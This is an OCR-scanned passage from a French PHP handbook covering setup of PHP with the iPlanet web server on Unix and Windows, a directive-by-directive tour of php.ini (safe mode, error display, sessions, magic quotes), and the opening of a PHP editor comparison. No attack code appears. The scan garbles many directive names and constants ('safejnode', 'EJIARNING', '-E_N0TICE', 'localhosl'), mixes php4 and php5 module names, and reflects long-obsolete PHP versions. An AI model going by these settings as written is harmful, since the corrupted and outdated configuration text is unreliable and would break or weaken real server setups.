Service fn="php4_execute" type="magnus-internal/x-htt 

AddLog fn=f 1 ex-log name="access" 

</0bject> 

Une fois le fichier obj. conf correctement renseigne, sauvegardez-le et relancez le serveur web 
afin qu'il prenne en compte les dernieres modifications (commande . /restart). Vous pouvez 
alors tester la bonne prise en compte de PHP avec une simple page placee a la racine de votre 
serveur web. 



Sous Windows 

reinstallation et la configuration du serveur web iPlanet sous Windows ne presentent pas de 
difficulte particuliere. Bien que nombreuses, les etapes necessaires ne sont en rien 
insurmontables. 

Installation du serveur web iPlanet 

Tout d'abord, telechargez directement la version Windows du serveur sur le site de Sun (wwws 
.sun.com/software/download/download/0104.html). Lancez le programme d'installation. La procedure 
vous est proposee en trois declinaisons : express, typique ou personnalisee. Si c'est la premiere 
fois que vous installez iPlanet sur votre machine, choisissez l'option typique, qui est largement 
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suffisante, et qui vous permettra meme de modifier certains parametres assez pratiques. Pre- 
mier point important, vous allez devoir choisir un dossier pour l'installation du serveur web. 
Conservez le chemin propose par le programme d'installation (evitez le dossier Program Files 
qui serait epineux a utiliser dans des fichiers de configuration). Donnez ensuite un nom d'uti- 
lisateur et un mot de passe, qui seront utilises pour l'interface d'administration web. Conservez 
precieusement ces informations, sans quoi vous seriez un peu gene pour gerer votre serveur. Le 
port d'administration (par defaut 8888) ainsi que le port web (80) n'ont pas a etre modifies, a 

= moins que vous n'ayez une idee bien specifique. Etape suivante, specifiez et notez bien le dossier 

racine du site. Les dernieres etapes de preparation de l'installation concernent l'utilisation 
eventuelle d'un annuaire LDAP ou de Java. Lorsque vous aurez repondu a toutes ces questions, 
l'installation proprement dite pourra debuter. Une fois iPlanet correctement mis en place, vous 

.«« pouvez tester son bon fonctionnement en rentrant l'adresse http://localhosl/ dans un navigateur 

Q- web de votre choix. 
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Installer PHP 

Telechargez la derniere version de PHP pour Windows zippee sur le site officiel du groupe PHP 
(http://www.php.net), ou bien utilisez la version disponible sur le CD-ROM. Decompactez cette 
archive dans un dossier c:\php, ou dans tout autre dossier simple, facile a reprendre pour les 
editions de fichiers de configuration a venir. Copiez le fichier php4ts.dll ainsi decompacte dans 
votre dossier Windows (c:\WINNT). Toujours dans le dossier qui a servi pour le decompactage, 
trouvez le fichier php.ini-dist, et renommez-le enphp.ini. Le changement de nom effectue, editez 
ce meme fichier, soit avec votre editeur de texte prefere, soit avec la ligne de commande suivante 
dans une fenetre MSDos : 

edit php.ini 

Dans ce fichier, recherchez la ligne : 

extension_dir = ./ 

et renseignez-la avec l'emplacement sur votre systeme du dossier contenant les extensions PHP. 
Si vous avez decompacte PHP dans un repertoire c:\php, vous devez remplir la ligne ainsi : 

extension_dir= c:\php\extensions\ 

Sauvegardez le fichier, puis copiez-le a la racine de votre repertoire WINNT : 

copy php.ini c:\WINNT\ 

II vous faut maintenant creer une association de fichiers pour PHP. Dans une fenetre MSDos, 
rentrez les deux lignes de commande suivantes, en validant par la touche [Entree] a chaque fin 
de ligne : 

assoc .php=PHPScript 

ftype PHPScript=c:\php\php.exe %1 %* 

A noter que l'adresse donnee dans la seconde ligne est a modifier selon vos propres parametres. 

Vous pouvez passer maintenant a la configuration du serveur web iPlanet pour qu'il prenne en 
compte PHP. 
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Configurer PHP 

Tout d'abord, stoppez votre serveur (depuis l'interface web de configuration, dans la rubrique 
on I off). 

Commencez d'abord par editer le fichier mime. types pour y ajouter la ligne suivante : 

type=magnus-i internal /x-httpd-php exts=php,php3,php4,phtml 

Sauvegardez mime. types, puis passez a obj.conf. Ajoutez les lignes suivantes a la fin de la section 
des inits, en debut de fichier : 

Init fn="load-modules" 

funcs="php5_init,php5_close,php4_execute,php5_auth_trans" 

shlib="c:/php/sapi/php5nsapi .dll " 

Init fn="php5_i nit" errorString="L' initial isation du PHP a echoue !" 

x Latelnit="yes" 

Le chemin utilise pour shlib varie en fonction de votre installation. Avec l'exemple cite plus 
haut, il faudrait donner ce chemin : c: Iphplsapilphp4nsapi.dll. En suivant le modele et l'aspect 
general du fichier, ajoutez-y le bloc de texte suivant (un nouvel objet) : 

</0bject> 

<0bject name="x-httpd-php"> 

ObjectType fn=" force- type" type="magnus-internal/x-httpd-php" 

Service fn=php5_execute 

</0bject> 

Ensuite, dans l'objet default, vous devrez ajouter la ligne suivante : 

Service fn="php5_execute" type="magnus-internal/x-httpd-php" 

et ce avant chaque ligne AddLog et apres chaque ligne ob j ectType (pour un exemple de fichier 
de configuration, voir la partie Configuration sous Unix). 

Une fois ces fichiers edites et sauvegardes, vous pouvez relancer le serveur web et tester votre 
nouvelle configuration. 

Autres 



©Installation sous les autres systemes Sexploitation 
Installation sous HP-UX: 
INTERNET www.php.net/manual/fr/install.hpux.php 
Installation sous Solaris : 
www.php.net/manual/fr/install.solaris.php 
Installation sous Unix-OpenBSD : 
www.php.net/manual/fr/install.openbsd.php 
Tutoriel d 'installation pour PHP sous Windows NT : 
http://benoit.noss.free.fr/php/install-php4.html 
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2.2. Le fichier de configuration php.ini 

PHP se configure en deux fois. Dans un premier temps, lors de sa compilation, pour assurer le 
support de certaines bases de donnees, d'un serveur web sous la forme d'un module pour 
activer certaines fonctions, etc. ; et, dans un second temps, apres son installation, par l'edition 
et le renseignement du fichier php.ini. 

= Le fichier php.ini controle bon nombre des comportements de PHP. Pour que PHP puisse lire 

et comprendre ce fichier, il doit imperativement avoir pour nomphp.ini. Au demarrage, PHP 

c cherche ce fichier dans son repertoire de travail, dans le chemin designe par la variable 

d'environnement phprc puis, enfin, dans le chemin defini lors de la compilation. Sous 
Windows, le chemin correspond au repertoire Windows ; sous Linux, par defaut, il s'agit du 
repertoire /usr/local/lib. 

Si PHP a ete compile en module, le fichier php.ini ne sera lu qu'une seule fois, lors du lancement 
du serveur web. Si PHP fonctionne en CGI, php.ini sera lu a chaque utilisation de PHP. 

Si vous utilisez des constantes dans vos valeurs et que ces constantes appartiennent a une 
extension chargee dynamiquement (extension PHP ou Zend), vous ne pouvez utiliser ces 
constantes qu'apres la ligne de configuration qui charge cette extension. 

Les valeurs utilisees dans le fichier php.ini-dist correspondent aux valeurs par defaut de PHP. 
Cela veut dire que, si vous n'utilisez pas dephp.ini ou que vous effacez les lignes qui suivent, les 
valeurs et parametres utilises par PHP seront identiques a ceux presentes dans php.ini-dist. 

Pour creer un fichier php.ini, utilisez le fichier php.ini-dist present dans votre repertoire PHP. 
Ce fichier contient un squelette de configuration, qu'il vous appartiendra d'adapter a votre 
systeme selon vos besoins. Notez qu'il existe egalement un fichier php.ini-recommended, que 
vous trouverez, lui aussi, a la racine de votre dossier PHP. Ce fichier est une recommandation 
de configuration pensee pour vous par les developpeurs de PHP. Comme le precise l'en-tete du 
fichier, cette configuration peut rendre PHP incompatible avec certaines applications. Elle 
rend egalement le developpement plus difficile et plus rigoureux. Une bonne solution consiste 
a se baser sur ce fichier, en passant en revue toutes les variables pour verifier si elles 
conviennent a votre environnement de travail. Vous ne modifierez ainsi que le strict necessaire, 
tout en conservant une configuration plus sure et plus performante que celle offerte par defaut 
par la simple mise en place du php.ini-dist. 

Dans cette partie, nous allons passer en revue toutes les options presentes dans le fichier 
php.ini-dist ; fichier qui, une fois renseigne, deviendra votre proprephp.ini. 

La syntaxe du iichier php.ini est simple. Toute ligne commengant par un point-virgule ou toute 
chaine de caracteres contenue entre crochets ne sera pas interpreted par PHP. 

Les directives utilisent une syntaxe simple : 

directive = valeur 

Attention, les noms des directives sont sensibles a la casse : respectez done scrupuleusement 
l'utilisation des majuscules ou minuscules (EMMA est different de Emma). 

La valeur peut consister en une chaine de caracteres, un nombre, une constante PHP (ex. : 

E_ALL OU M_Pl), une des constantes INI (On, Off, True, False, Yes, No et None), une 

expression (ex. : e_all & ~e_notice), ou, enfin, une chaine de caracteres entre guillemets 

( emma ). 
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Dans le fichierphp.ini, les expressions sont limitees aux operateurs binaires et aux parentheses : 

binaire OR 
& binaire AND 

binaire NOT 
! booleen NOT 

Les operateurs booleens peuvent etre actives en utilisant les valeurs l, on, True ou Yes. Pour 
les desactiver, utilisez les valeurs o, off, False ou No. 

Une chaine vide peut etre indiquee soit en n'ecrivant rien apres le =, soit en utilisant le 

mot-cle none. 

Attention, dans l'expression toto = "none", la chaine de caracteres ne sera pas vide, mais 
contiendra le mot none ; une chaine vide serait toto = none. 



Options PHP de base 
Balises 

short_open_tag = On 

permet d'utiliser le tag court d'ouverture de script PHP < ? (plutot que < ?php ou <script>). 

asp_tags = Off 

permet d'utiliser les tags ASP <% %>. 

Serveur 

engine = On 

autorise le moteur de langage de script PHP sous Apache. 

zend.zel_compatibil ityjnode = Off 

active le module de compatibility avec le Zend Engine 1 (utilise dans PHP4.x). 

expose_php = On 

permet d'indiquer que PHP est installe sur le serveur, et que, par consequent, on peut l'utiliser. 
Cela ne constitue pas a proprement parler un probleme de securite, mais cela signale tout de 
meme aux utilisateurs que PHP est installe sur le serveur. 

y2k_compl iance = Off 

Compatibilite an 2000. II est deconseille d'activer cette option, car elle pourrait poser des 
problemes avec des navigateurs non compatibles an 2000. 
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Limites des ressources 

max_execution_time = 30 

Indiquez le temps maximum d'execution des scripts, en secondes (ici : 30 secondes). 

memory_l imit = 8M 

Indiquez la quantite maximale de ressource memoire utilisable par les scripts (ici : 8 Mb). 

Securite 

Mode securise 

safejnode = Off 

Activation ou deactivation du mode securise. 

safe_mode_gid = Off 

A l'ouverture des fichiers, le mode securise utilise, par defaut, des verifications comparatives 
des UID. Pour passer a des comparaisons sur le GID, activez cette commande. 

safe_mode_include_dir = 

Si saf e_mode est active, les verifications des UID/GID sont ignorees lorsqu'un fichier contient 
des inclusions de fichiers provenant de ce repertoire ou de ses sous-repertoires. Le chemin 
concerne doit etre present dans le indude_path, ou alors c'est le chemin complet qui doit etre 
donne pour l'inclusion. 

safe_mode_exec_dir = 

Si le mode securise est active, seuls les executables qui se situent dans le repertoire renseigne ici 
seront autorises a 1'execution via la famille des fonctions executables (comme exec ( ) ). 

open_basedir = 

Indiquez le chemin du repertoire sur lequel vous souhaitez limiter les operations sur les 
fichiers. Ceci sera valable pour ce repertoire et ses sous-repertoires. 

safe_mode_allowed_env_vars = PHP_ 

La configuration de certaines variables d'environnement peut presenter des failles de securite. 
Cette directive comprend une liste de prefixes separes par des virgules. En mode securise, 
1'utilisateur peut uniquement modifier les variables d'environnement dont le nom commence 
par les prefixes indiques ici. Par defaut, les utilisateurs ne pourront configurer que les variables 
d'environnement commencant par php_ (ex. : php_foo=bar). Si cette directive est vide, 
1'utilisateur pourra modifier toutes les variables d'environnement ! 
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Autres 

safe_mode_protected_env_vars = LD_LIBRARY_PATH 

Indiquez, en les separant par une virgule, les variables d'environnement que l'utilisateur final 
ne pourra pas modifier en utilisant putenv ( ) . Ces variables seront protegees, meme si la 
directive saf e_mode_al 1 owed_env_vars est configuree pour que Ton puisse les changer. 

disable_functions = 

Indiquez ici, separees par des virgules, les fonctions que vous souhaitez interdire pour des 
raisons de securite. L'activation ou non du mode securise n'a aucune influence sur cette 
directive. 

enable_dl = On 

Activation ou non de la fonction dl ( ) qui permet de charger des DLL a la volee. Cette fonction 
ne marche pas correctement sur des serveurs multi-taches (multithread) comme, par exemple, 
IIS ou Zeus, et est automatiquement desactivee sur ces derniers. 

cgi .force_redirect = 1 

cgi . f orce_redirect est necessaire pour apporter de la securite si Ton fait tourner PHP en 
tant que CGI sous la plupart des serveurs web. Si vous laissez cette directive vide, PHP 
l'interpretera comme activee par defaut. II est tout a fait deconseille de desactiver cette 
directive (hormis sous IIS, pour lequel il vaut mieux l'activer). 

cgi .redirect_status_env = 

Si cgi . f orce_redirect est active, et que vous ne vous trouvez pas sous un serveur Apache ou 
Netscape (iPlanet), vous devrez determiner un nom de variable d'environnement que PHP 
interrogera afin de savoir s'il peut ou non continuer 1'execution. Ayez une idee precise de ce 
que vous souhaitez faire avant de determiner tout cela, la configuration de cette variable 
pouvant provoquer des problemes de securite ! 

cgi .fix_pathinfo=0 

Si cgi.fix_pathinfo est active , PHP CGI corrigera son chemin pour se conformer aux 
specifications. Si vous n'activez pas ce parametre (en le laissant a 0), PHP se comportera 
comme dans les versions anterieures. II est conseille d'utiliser script filename plutot que 

PATH TRANSLATION. 

enable dl = On 



Gestion des erreurs et recuperation des messages d'erreur 

errorjeporting est un champ de bits. Vous pouvez determiner quel type et quel niveau de 
rapport d'erreur vous souhaitez recuperer. 

E ALL 
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Toutes les erreurs et avertissements. 

E_ERR0R 

Erreurs fatales du programme. 

EJIARNING 

Avertissements du programme (qui ne sont pas des erreurs fatales). 

E_PARSE 

Erreurs d'analyse lexicale a la compilation. 

EJOTICE 

Indications du programme. Ce sont des avertissements qui resultent generalement d'un bug 
dans votre code, mais il se peut que ce soit intentionnel. C'est le cas, par exemple, si Ton utilise 
une variable non initialisee en considerant qu'elle sera automatiquement initialisee par une 
chaine vide. 

E_STRICT 

Permet a PHP de vous indiquer des modifications dans votre code qui assureraient une 
meilleure inter-operabilite et une meilleure compatibility ascendante. 

E_C0RE_ERR0R 

Erreurs fatales survenant lors du demarrage initial de PHP. 

E_CORE_WARNING 

Avertissements (qui ne sont pas des erreurs fatales) survenant lors du demarrage initial de PHP. 

E_C0MPILE_ERR0R 

Erreur fatale a la compilation. 

E_COMPILE_WARNING 

Avertissement d'erreur a la compilation (qui ne sont pas des erreurs fatales). 

E_USER_ERROR 

Message d'erreur provoque par l'utilisateur. 

E_USER_WARNING 

Message d'avertissement provoque par l'utilisateur. 

E_USER_NOTICE 

Message d'indication provoque par l'utilisateur. 

Exemples : 

error_reporting = E_ALL & -E_N0TICE & -EJTRICT 
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Montrer toutes les erreurs, sauf les messages d'indication et les messages de qualite de code. 

error_reporting = E_C0MPILE_ERR0R| E_ERR0R | E_C0RE_ERR0R 

Ne montrer que les erreurs. 

display_errors = On 

Active l'affichage des erreurs. Pour un site de production, il est conseille de desactiver cette 
fonction et d'utiliser, a sa place, error logging. Si vous gardez display_errors activee, vous 
risquez de reveler des informations de securite aux utilisateurs finals comme, par exemple, des 
chemins d'acces de votre serveur web, le schema de votre base de donnees, ou d'autres 
informations encore. 

display_startup_errors = Off 

Meme si display_errors est active, les erreurs qui se produisent lors du demarrage de PHP 
ne sont pas affichees. II est fortement conseille de ne pas activer cette fonction, sauf pour du 
debogage. 

log_errors = Off 

Permet de stocker les erreurs dans un fichier de logs. S'il s'agit d'un site de production, il est 
fortement conseille d'utiliser cette directive au lieu de error_dispiay. 

track_errors = Off 

Archive le dernier message d'erreur ou d'avertissement dans $php_errormsg. 

html_errors = Off 

Interdit l'inclusion de tags HTML dans les messages d'erreur. N'utilisez pas cette fonction sur 
des serveurs de production. 

error_prepend_string = "<font color=ff0000>" 

Chaine a integrer avant un message d'erreur. 

error_append_stn'ng = "</font>" 

Chaine a integrer apres un message d'erreur. 

error_log = filename 

Placer les traces d'erreur dans un fichier particulier. Remplacez filename par le nom du fichier 
que vous voulez utiliser. 

error_log = syslog 

Placer les traces d'erreur dans syslog (Event Log sur Windows NT, non valide sous 
Windows 95). 

define_syslog_variables = Off 

Cette directive active ou desactive la definition de diverses variables syslog comme, par 
exemple, les variables $log_pid, $log_cron, etc. II est conseille de desactiver cette directive 
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dans un souci de performance. Vous pourrez definir ces variables dans le programme en faisant 
appel a la fonction def i ne_sysl og_vari abl es () . 

warn_plus_overloading = Off 

Prevenir si l'operateur + est utilise dans les chaines. 

Gestion des fichiers 

Include 

include_path = 

Indique quels repertoires doivent etre explores lorsqu'un fichier est inclus. 

Sous UNIX, il devra etre donne de cette fagon : inciude_path = " . : /php/includes" et, 
sous Windows, de la facon suivante : inciude_path = " c : \php\ includes " . Vous pouvez en 
specifier plusieurs, en les separant par un deux points ( : ) sous Linux, et par un point-vigule ( ,- ) 

SOUS Windows, COmme Ceci : include_path = "c: \php\includes;c: \php\emma 
\includes". 

Ouverture distante de fichiers 

allow_url_fopen = On 

Active ou desactive l'autorisation de traitement des URL (comme http : / / ou ftp : / /) en tant 
que fichiers. 

from= "john@doe.com" 

Definit le mot de passe anonyme du FTP. Ici, une adresse e-mail sera demandee. 

Publication de fichiers 

file_uploads = On 

Autorise (ou non) l'upload de fichiers HTTP. 

upload_tmp_dir = 

Indiquez, si besoin, le repertoire temporaire ou vous souhaitez archiver les fichiers HTTP 
publies (uploades). Si vous ne remplissez pas ce champ, ils seront places dans le repertoire 
temporaire par defaut du systeme. 

upload_max_filesize = 2M 

Taille maximale autorisee des fichiers en upload. 
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Gestion des donnees 

Depuis PHP 4.0.3, track_vars est toujours active. 

arg_separator. output = "&" 

Le separateur des arguments utilise dans les URL generees par PHP est, par defaut, '&'. 

arg_separator. input = ";&" 

Liste des caracteres que doit detecter PHP pour separer les arguments dans les URL (par 
defaut les caracteres '&' et ' ,- '). Chaque caractere est considere, dans cette directive, comme un 
separateur. 

variables_order = "EGPCS" 

Cette directive decrit l'ordre dans lequel PHP enregistre les variables passees par les methodes 
get, post ou cookie, les variables d'environnement et les variables incluses (respectivement 
G, P, C, E et S). Cet enregistrement prend en compte les valeurs de gauche a droite, les 
nouvelles valeurs prenant le pas sur les plus anciennes. 

register_globals = Off 

Cette directive vous permet de choisir si vous enregistrez les variables EGPCS comme des 
variables globales ou pas. Par mesure de securite, il est preferable de laisser ce parametre a off. 

register_long_arrays = On 

Cette directive vous permet de continuer a utiliser la methode http_get_var . Si vous 
n'utilisez pas cette methode (en preferant la methode $_get [ "Varaibie" ] ), il est preferable 
de ne pas activer la directive pour optimiser les performances. 

register_argc_argv = On 

Cette directive definit si PHP declare les variables argv et argc (qui pourraient contenir les 
informations get). Si vous n'utilisez pas ces variables, vous pouvez desactiver cette directive 
pour ameliorer les performances. 

post_max_size = 8M 

Taille maximale des donnees post que PHP acceptera. 



Les magic quotes 



Les magic quotes sont des directives qui vous permettent d'echapper les caracteres qui 
pourraient provoquer des erreurs dans votre code. Par exemple, une apostrophe, un slash, etc. 
dans une variable issue d'un formulaire qui pourraient etre interpreted comme une fin de 
chaine ou autre caractere interprete par PHP : 

<form action="recupere.php"> 

<input type="hidden" name="exemple" value="L'aventure c'est 1'aventure !"> 

<input type="submit"> 

</form> 
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Puis, a l'aide de ce script : 

<?php 

echo $_GET["exemple"] ; 

?> 

vous recuperez les donnees contenues dans recupere.php . Si les magic quotes sont activees, vous 
obtenez ceci : 

E 

c: L 1 'aventure c \ 'est l\ 'aventure ! 

oj Sans les magic quotes, nous avons ceci : 
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<?php 

echo $_GET["exemple"] ; 

?> 

L 'aventure c'est V aventure ! 

magic_quotes_gpc = On 

Active les magic quotes pour les donnees entrantes get, post et cookie. 

magic_quotes_runtime = Off 

Desactive les magic quotes pour les donnees generees par le programme (ex. : donnees SQL, 
donnees provenant des fonctions exec ( ) , etc.). 

magic_quotes_sybase = Off 

Si cette directive est activee, des apostrophes seront utilisees en lieu et place des "backslashes" 
pour les magic quotes (style Sybase, c'est-a-dire • ' au lieu de \'). 

Sessions 

session. save_handler = files 

II sert a redefinir la maniere dont seront gerees les sessions. Par defaut, les sessions sont 
enregistrees dans des fichiers. C'est grace a ces fichiers que PHP retrouvera les donnees d'une 
session. Si vous souhaitez une gestion personnalisee des sessions indiquez alors "user" (voir 
chapitre sur les sessions). 

session. save_path = /tmp 

Repertoire par defaut ou stocker les sessions. II vaut mieux eviter que ce repertoire soit lisible 
par tous, auquel cas la securite du site pourrait etre compromise. Quelqu'un pourrait usurper 
1'identificateur d'un autre. Par defaut, il vaut /tmp. II faut done imperativement modifier ce 
parametre pour pouvoir faire fonctionner les cookies sous Windows. 

session.use_cookies = 1 

Permet d'indiquer si le gestionnaire de sessions doit utiliser un cookie chez le client pour 
memoriser l'identifiant de session. Par defaut l'utilisation de cookies est activee (valeur a 1). 
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session. name = PHPSESSID 

Nom de l'identifiant de la session. II ne contient que des caracteres alphanumeriques. 

session. auto_start = 

Indique si une session doit automatiquement etre lancee lors de la premiere requete. Cette 
option est desactivee par defaut (valeur a 0). 

session. cookie_l ifetime = 

Permet de definir la duree de vie du cookie de session (en secondes). La valeur (par defaut) 
signifie que le cookie doit etre efface a la fermeture du navigateur. 

session. cookie_path = / 

Permet de definir le chemin a utiliser par les cookies. Par defaut, il est mis a /. 

session.cookie_domain = 

Permet de definir le domaine sur lequel est restreint le cookie. 

session. serial ize_handler = php 

Permet de definir le gestionnaire de la serialisation/deserialisation. Les formats PHP et WDDX 
sont supportes, WDDX n'etant disponible que si PHP a ete compile avec WDDX. 

session. gc_probabil ity = 1 

Permet de definir la probabilite d'execution de gc (garbage collector) a chaque requete. gc est 
le dispositif permettant de supprimer les sessions qui ne sont plus valides. Generalement, les 
sessions sont enregistrees sous forme de fichiers, et gc se charge de supprimer les fichiers 
perimes. Par defaut, gc est requis a chaque appel (la valeur vaut 1). 

session. gcjnaxl ifetime = 1440 

Apres ce laps de temps (en secondes), une donnee sera considered comme perimee et pouvant 
etre supprimee par gc. 

session. referer_check = 

Permet de ne valider une session que si l'utilisateur provient d'un site en particulier 
(typiquement le votre). II suffit de renseigner tout ou partie du nom de domaine. Si cette chaine 
de caracteres est contenue dans le http_referer fourni par le navigateur, ou si cette valeur 
retournee est vide, alors la session est validee. Par defaut, cette chaine de caracteres est vide. 

session. entropy_file = 

Permet de definir le chemin vers un fichier externe qui sera utilise pour generer (de facpn 
pseudo-aleatoire) un identifiant de session. Dans le monde UNIX, il est possible de definir 

/dev/random OU encore /dev/urandom. 

session. entropy_length = 

Permet de determiner le nombre d'octets lus dans le fichier declare par session 
. entropy_f ile. Par defaut, celui-ci etant desactive, il vaut 0. 
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session. cache_l imiter = nocache 

Permet de definir 1'en-tete de controle du cache qui doit etre envoye avec chaque script genere 
a partir de variables de sessions. II peut etre defini comme none, nocache, private, 

private_no_exprire OU public. 

session.cache_expire = 180 

= Permet de definir 1'en-tete definissant la duree de validite (en minutes) d'une page generee a 

g partir de variables de sessions. Cette option n'a aucune influence si le controle du cache a ete 

c mis a nocache. 

03 
03 

<2 session. use_trans_sid = 1 

£ 

esi Permet d'indiquer si l'identifiant de session doit etre transmis de maniere transparente de page 

en page (URL rewriting). (Pour les versions PHP<=4.1.1, cette option est utilisable 
uniquement si PHP a ete compile avec l'option -enable-trans-sid) . Par defaut, cette option est 
activee. 

session. hash_function = 

Definit le format de hash, o pour MD5 (128 bits) ou l pour SHA-1 (160 bits).. 

url_rewriter.tags = "a=href ,area=href ,f rame=src, input =src,form=fakeen try" 

Permet de definir quelles URL seront reecrites afin de transmettre l'identifiant de session, si 
l'option session.use Jrans _sid est activee. Par defaut, ce sont les tags a=href, area=href, 
frame=src, input=src, f orm=fakeentry. 

Generation du document 

Cache et compression 

output_buffering = Off 

La mise en tampon (ou memoire cache) vous permet de n'envoyer le document genere qu'une 
fois le script termine. Cela permet notamment d'envoyer des en-tetes (instructions de 
manipulation des sessions et des cookies y compris), meme apres avoir commence a generer la 
page. Mais, en contrepartie, cela ralentit la couche de sortie de PHP. Si vous voulez limiter le 
tampon a une certaine taille, vous pouvez specifier une taille en octets a la place du On (ex. : 

output_buf f ering=409 6). 

outputjiandler = 

Cette option permet d'appliquer une fonction (typiquement de compression) sur le document 
genere avant de l'envoyer au client. Par exemple, si vous configurez output_handler vers 
ob_gzhanier, la sortie sera compressee pour les navigateurs qui supportent Gzip. Si vous 
entrez un nom de fonction pour output_handler, cela activera automatiquement la mise en 
cache des sorties. 

zl ib.output_compression = Off 
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Cette directive permet la compression des sorties a l'aide de la bibliotheque ziib. Les valeurs 
que vous pouvez indiquer pour cette commande peuvent etre On, of f ou une taille specif ique 
de tampon a utiliser pour la compression (la taille par defaut est 4 Kb). Attention : 
output_handler doit etre vide si cette directive est activee. 

impl i ci t_f 1 ush = Off 

Implicit flush demande a PHP de vider les tampons de sortie des qu'un element du document 
est genere. Ceci est equivalent a l'appel de la fonction flush () apres chaque commande 
echo ( ) ou print ( ) et apres chaque bloc HTML. Si vous activez cette fonction, vous reduirez 
vos performances. Cette option est conseillee dans des objectifs de debogage. 

Elements par defaut 

auto_prepend_file = 

Pour ajouter automatiquement un fichier avant un document PHP. 

auto_append_file = 

Pour ajouter automatiquement un fichier apres un document PHP. 

defaultjnimetype = "text/html" 
default_charset = "iso-8859-1" 

Specifie le type du document et l'encodage. Sachant que depuis PHP 4.0b4, PHP envoie par 
defaut un en-tete precisant l'encodage. Si vous ne voulez pas le preciser, vous devrez, ici, mettre 
une chaine vide. Par defaut, s'il n'est pas precise ici, le type du document est text /html. 

Gestion de l'affichage 
Nombres decimaux 

precision = 12 

Indiquez le nombre de decimales apres la virgule que vous souhaitez afficher. 

Source 

Couleurs pour la coloration syntaxique de votre code. Indiquez les codes couleurs qui vous 
conviennent : 

highlight. string = ICC0000 

pour une chaine de caracteres ; 
highlight. comment = #FF9900 

pour un commentaire ; 

highlight. keyword = #006600 
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pour un mot-cle ; 

highlight.bg = #FFFFFF 

pour le fond ; 

highlight. default = #0000CC 

par defaut ; 

highlight.html = #000000 

pour le html. 

Extensions dynamiques 

extension_dir = ./ 

Indiquez le chemin du repertoire dans lequel se trouvent les extensions (modules) chargeables. 

Si vous souhaitez qu'une extension soit chargee automatiquement, utilisez la syntaxe suivante : 

extension=modulename. extension 

Par exemple, pour Windows : 

extension=php_gd.dll 

ou, sous UNIX : 

extension=php_gd.so 

Notez que vous ne devez indiquer que le nom du module, et non pas les informations 
concernant le chemin du repertoire (ce dernier doit obligatoirement etre celui specifie par 

extension_dir). 

Configuration des extensions 
BcMath 

bcmath. scale = 

Precision avec laquelle BcMath doit travailler (nombre de chiffres apres la virgule souhaites). 

Bases de donnees 

sql .safejnode = Off 

Active ou non le mode securise pour les bases de donnees. 

II existe de nombreux autres parametres pour les bases de donnees. Ceux-ci seront evoques 
dans les chapitres correspondants. 
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Sockets 

sockets. use_system_read = On 

Utilise la fonction systeme read ( ) au lieu de la fonction programme php_read ( ) . 



Divers 



Browscap 

browscap = extra/browscap.ini 

Chemin vers le fichier browscap.ini contenant les informations qui permettent de deduire les 
caracteristiques des navigateurs d'apres leur http_user_agent. 



2.3. Les editeurs et debogueurs PHP 



Dans le monde de la programmation, les editeurs de texte font office de religions. On en utilise 
un comme on choisit une eglise. Comme les religions, les editeurs connaissent leurs guerres. 
L'une des plus celebres oppose les partisans de Vi aux zelateurs d'Emacs. Tout a ete dit : 
"Emacs rend beau", "Vi fait repousser les cheveux", etc. En cherchant bien, on peut meme 
trouver sur le Web un memo sur les differents editeurs de texte, redige pour une universite 
canadienne, commengant par cette citation : 

"Papa, pourquoi nous cachons-nous de la police ? 

- lis utilisent Emacs, fils, et nous utilisons Vi." 

Les adeptes d'un editeur en particulier ressentent, generalement, le besoin de prouver que le 
leur est le meilleur, le plus beau, le plus complet. Cela entraine immanquablement de folles 
discussions fort peu constructives, mais folkloriques, voire divertissantes. Mais le debutant en 
quete de conseils ne s'y retrouve pas pour autant. 

On peut tout de meme regrouper les editeurs en differentes grandes families, pour ensuite 
comparer leurs avantages et inconvenients respectifs. II n'est pas opportun de comparer Emacs 
a Dreamweaver MX. En revanche, mettre face a face PHPEdit et Komodo presente un interet. 
Sur le CD-ROM, vous trouverez un tableau comparatif des differents editeurs ainsi que 
quelques fiches descriptives. 

Les gouts et attentes de chacun interviennent beaucoup dans le choix d'un editeur. Le contexte 
de developpement de PHP joue egalement. Si c'est pour un projet isole, le programmeur 
pourra choisir librement ; si, en revanche, il doit travailler en etroite collaboration avec un 
graphiste, un logiciel comme Dreamweaver MX sera plus approprie. Pour mettre sur pied une 
architecture complexe imbriquant de multiples pages en PHP, une solution comme Zend 
Studio ou Maguma rendra de bien meilleurs services. 

Les outils les plus puissants ne doivent pas faire oublier qu'un site peut etre developpe avec un 
simple bloc-note (bien moins gourmand en memoire et CPU). Ce n'est pas l'editeur qui fait le 
developpeur. Les assistants les plus pousses et conviviaux ne remplaceront pas une bonne 
connaissance du langage. 




97 



Chapitre 2 Prise en main 



CO 

E 



cvi 



Nous avons classe les editeurs en differentes categories. Nous savons que ces categories seront 
a coup sur critiquees par les partisans de l'un ou l'autre des logiciels presentes, mais c'est un mal 
necessaire... 

L'artillerie lourde, ce sont ces editeurs qui integrent PHP a toute une solution de 
developpement web. Resolument tournes vers PHP, il leur faut une plateforme assez 
musclee pour fonctionner, et ils n'ont pas ete penses pour le developpeur solitaire, coince 
entre pizza et CVS. Ils permettent souvent un travail collaboratif pousse, qui place l'editeur 
au centre d'une architecture incluant un serveur web et un serveur de bases de donnees. 
Leur prix souvent eleve les met hors de la portee des programmeurs isoles. 

Les specialistes, ce sont des editeurs PHP purement PHP. Ils ont ete developpes pour ce 
langage de script en particulier. Etant donne qu'ils sont assez nombreux, nous ne 
presentons ici que ceux que nous avons juges pertinents en fonction de criteres juges 
primordiaux par plusieurs developpeurs. 

Nous traitons enfin, dans une partie separee, Dreamweaver et GoLive, deux logiciels de 
creation de sites web qui gerent desormais PHP, mais qui restent tout de meme en deca de 
ce qu'offrent les editeurs specialises. 

Nos plus vifs remerciements vont a Stephane Pineau, auteur d'un comparatif d'editeurs PHP, 
qui nous a permis de reproduire ici en grande partie son travail (par ailleurs disponible a 
1'adresse http://steph.pineau.lree.fr/php/index.php?LNK=EDIT/). Nous vous conseillons d'ailleurs d'aller 
consulter cette page regulierement pour vous tenir a jour des dernieres mises a jour d'editeurs. 
Vous pourrez egalement y effecuter des recherches multicriteres pour choisir l'editeur qui vous 
convient le plus. 



L'artillerie lourde 

Zend Studio 




Figure 2.23 : Zend Studio 
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Tableau 2.1 : Zend Studio 



Zend Studio 
Editeur 

Langues 
Plateformes 
Langages support.es 



version 3.5.1 

Zend Technologies Ltd. 

Anglais, allemand, frangais, hollandais, espagnol, italien, coreen. 

Windows, Linux, MacOSX. 

PHP, HTML. 



Prix 



249 $US. 



URL 



www.zend.com 



Principales fonctionnalites et commentaire 

